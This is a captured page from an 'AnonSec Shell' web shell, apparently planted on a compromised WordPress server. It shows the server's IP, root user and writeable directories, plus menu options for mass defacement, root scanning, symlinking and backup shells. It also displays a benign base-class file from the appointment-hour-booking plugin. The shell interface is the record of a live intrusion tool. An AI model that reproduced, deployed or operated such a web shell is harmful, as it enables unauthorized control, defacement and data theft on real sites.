AnonSec Shell
Server IP : 172.67.157.199  /  Your IP : 18.217.199.187   [ Reverse IP ]
Web Server : Apache
System : Linux b70eb322-3aee-0c53-7c82-0db91281f2c6.secureserver.net 6.1.90-1.el9.elrepo.x86_64 #1 SMP PREEMPT_DYNAMIC Thu May 2 12:09:22 EDT 2024 x86_64
User : root ( 0)
PHP Version : 8.0.30.2
Disable Function : NONE
Domains : 0 Domains
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/wp-content/plugins/appointment-hour-booking/addons/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/wp-content/plugins/appointment-hour-booking/addons/base.addon.php
<?php

if ( ! defined( 'ABSPATH' ) ) exit; // Exit if accessed directly

if( !class_exists( 'CPAPPB_BaseAddon' ) )
{
    class CPAPPB_BaseAddon
    {
        /************* ADDON SYSTEM - ATTRIBUTES AND METHODS *************/
		protected $addonID;
		protected $name;
		protected $description;
        public $category = ' Other add-ons';
        public $help = '';

		public function get_addon_id()
		{
			return $this->addonID;
		}

		public function get_addon_name()
		{
			return $this->name;
		}

		public function get_addon_description()
		{
			return $this->description;
		}

		public function get_addon_form_settings( $form_id )
		{
			return '';
		}

		public function get_addon_settings()
		{
			return '';
		}

		public function addon_is_active()
		{
			global $cpappb_addons_active_list;
            if (!is_array($cpappb_addons_active_list)) $cpappb_addons_active_list = get_option( 'cpappb_addons_active_list', array() );
			return in_array( $this->get_addon_id(), $cpappb_addons_active_list );
		}
	} // End Class
}

Anon7 - 2022
AnonSec Team